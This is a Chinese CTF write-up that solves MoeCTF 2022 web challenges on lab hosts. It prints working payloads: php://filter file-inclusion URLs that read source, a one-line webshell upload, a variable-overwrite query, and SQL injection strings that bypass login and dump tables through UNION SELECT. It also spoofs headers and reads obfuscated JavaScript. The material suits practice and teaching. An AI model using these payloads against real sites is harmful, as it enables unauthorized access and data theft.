[MoeCTF 2022]baby_file
“海纳百川,有容乃大;壁立千仞,无欲则刚。” 寓意人要像大海能容纳无数江河水一样的胸襟宽广,以容纳和融合来对他人。(我们坤坤都这么努力了,你们为什么还要黑他 !!!?小黑子们真虾头!!)
???黑我家哥哥是吧
打开环境后源码如下
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
看见有include
函数了,可以想到是文件包含
但是这里并不能直接传入file
的值等于index.php
或者flag.php
,所以要利用php伪协议
构造payload来读取index.php
的内容
http://node3.anna.nssctf.cn:28899/?file=php://filter/read=convert.base64-encode/resource=index.php
访问后得到base64编码后的index.php
解码base64解码得到源代码
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
发现并没有什么隐藏的信息,所以再构造payload读取flag.php
http://node3.anna.nssctf.cn:28899/?file=php://filter/read=convert.base64-encode/resource=flag.php
访问后得到编码后的flag,解码得到flag
无语了,还黑我家哥哥是吧
[MoeCTF 2022]ezhtml
直接调试器看源代码就能得到flag了
[MoeCTF 2022]what are y0u uploading?
can can need 马子???!
CTF的出题人总能来点炸裂的东西
一眼文件上传
上传一句话木马,先尝试上传PHP文件
前端拦截了,所以上传图片马
虽然经过burp抓包后可以通过修改文件后缀来上传php文件,但是不知道文件路径,不能getshell
那就按照他要求上传一个f1ag.php
直接将图片马的名字改成f1ag.php
,上传后得到flag
[MoeCTF 2022]ezphp
源码
highlight_file('source.txt');
echo "<br><br>";
$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
考察变量覆盖
构造payload直接打
http://node2.anna.nssctf.cn:28665?cmd=flag&flag=cmd
得到flag
[MoeCTF 2022]Sqlmap_boy
F12可以看到hint
这里提示了sql
查询语句
$sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";';
所以进行sql注入
观察注入语句,可以看出闭合方式是单引号和双引号'"
,试试万能密码
username=admin'" or 1=1;#&password=1
这里的message是Unicode
编码,解码一下
登录成功后重定向到了secret.php?id=1
,访问一下
http://node2.anna.nssctf.cn:28527/secrets.php?id=1
猜测一下,这里id=1
是注入点,试试联合注入,但是没啥用
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,2,3 --+
好样的,啥都没过滤
直接爆库就行了
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),3 --+
爆表
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='moectf' --+
爆字段
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='flag' --+
获取数据
http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(flAg) from flag
得到flag
[MoeCTF 2022]cookiehead
RT
?没懂
上来告诉我们仅限本地访问
XFF
伪造
靶机有问题,打不了
正常来说是伪造X-Forwarded-For
,为127.0.0.1
看了眼别的师傅的wp,考察的很基础
XFF
伪造完之后会回显
You are not from http://127.0.0.1/index.php !
然后进行Referer
伪造
// 添加 Referer 头
Referer http://127.0.0.1/index.php
伪造完之后回显
请先登录
将login=0
改为login=1
God_of_Aim
游戏题,打完十个点后会获得前一半的flag
然后在HTML里看见提示
然后就去看aimTrainer.js
的源码,可以发现一段与flag有关的代码
checkflag1() {
if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
this[_0x78bd[20]]();
alert(_0x78bd[21]);
alert(_0x78bd[22]);
this[_0x78bd[23]]()
}
}
checkflag2() {
if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
this[_0x78bd[20]]();
alert(_0x78bd[24])
}
}
看到alert
,所以 F12 在控制台执行:
alert(_0x78bd[24])
拿到后半段flag
拼一下
moectf{Oh_you_can_a1m_and_H4ck_Javascript}
后记
NSS 的靶机有问题,所以后两道题flag交不上,等什么时候好了再交